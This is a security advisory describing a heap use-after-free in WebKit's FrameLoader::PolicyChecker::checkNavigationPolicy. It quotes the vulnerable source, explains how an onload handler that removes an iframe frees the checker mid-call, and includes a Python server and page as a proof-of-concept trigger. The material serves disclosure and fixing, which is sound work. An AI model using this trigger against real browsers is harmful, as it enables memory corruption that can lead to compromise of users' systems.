WebKit: heap-use-after-free in WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy

VULNERABILITY DETAILS
PolicyChecker.cpp:
```
#define IS_ALLOWED (m_frame.page() ? m_frame.page()->sessionID().isAlwaysOnLoggingAllowed() : false)
#define PAGE_ID (m_frame.loader().pageID().valueOr(PageIdentifier()).toUInt64())
#define FRAME_ID (m_frame.loader().frameID().valueOr(FrameIdentifier()).toUInt64())
#define RELEASE_LOG_IF_ALLOWED(fmt, ...) RELEASE_LOG_IF(IS_ALLOWED, Loading, \"%p - [pageID=%\" PRIu64 \", frameID=%\" PRIu64 \"] PolicyChecker::\" fmt, this, PAGE_ID, FRAME_ID, ##__VA_ARGS__)
[...]
void FrameLoader::PolicyChecker::checkNavigationPolicy(ResourceRequest&& request, const ResourceResponse& redirectResponse, DocumentLoader* loader, RefPtr<FormState>&& formState, NavigationPolicyDecisionFunction&& function, PolicyDecisionMode policyDecisionMode)
{
[...]
    if (!isAllowedByContentSecurityPolicy(request.url(), m_frame.ownerElement(), !redirectResponse.isNull())) {
        if (m_frame.ownerElement()) {
            // Fire a load event (even though we were blocked by CSP) as timing attacks would otherwise
            // reveal that the frame was blocked. This way, it looks like any other cross-origin page load.
            m_frame.ownerElement()->dispatchEvent(Event::create(eventNames().loadEvent, Event::CanBubble::No, Event::IsCancelable::No));
        }
        RELEASE_LOG_IF_ALLOWED(\"checkNavigationPolicy: ignoring because disallowed by content security policy\");
        function(WTFMove(request), { }, NavigationPolicyDecision::IgnoreLoad);
        return;
    }
```

FrameLoader.cpp:
```
[...]
Optional<PageIdentifier> FrameLoader::pageID() const
{
    return client().pageID();
}
```

FrameLoaderClient.h:
```
class WEBCORE_EXPORT FrameLoaderClient {
[...]
    virtual Optional<PageIdentifier> pageID() const = 0;
    virtual Optional<FrameIdentifier> frameID() const = 0;
}
```


`PolicyChecker` is owned by `FrameLoader`, which is in turn owned by the reference-counted class `Frame`. When a load is being blocked by CSP, `PolicyChecker` fires an event in `checkNavigationPolicy()`. A malicious JS event handler can drop all references to the frame and cause the associated `PolicyChecker` to be destroyed. When the execution returns to `checkNavigationPolicy()`, the invocation of `RELEASE_LOG_IF_ALLOWED` will access freed memory, including the vtable calls `pageID()` and `frameID()` on an invalid `FrameLoaderClient` pointer.


REPRODUCTION CASE
Visit http://localhost:8000/
```
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

html_source = b'''
<body>
<script>
frame = document.createElement('iframe');
frame.onload = () => frame.remove();
frame.src = '/redirect';
document.body.appendChild(frame);
</script>
</body>
'''

class Handler(BaseHTTPRequestHandler):
  def do_GET(self):
    if self.path == '/redirect':
      self.send_response(302)
      self.send_header('Location', 'http://example.com/')
      self.end_headers()
    else:
      self.send_response(200)
      self.send_header('Content-Security-Policy', 'frame-src localhost:8000')
      self.end_headers()
      self.wfile.write(html_source)

HTTPServer((\"127.0.0.1\", 8000), Handler).serve_forever()
```
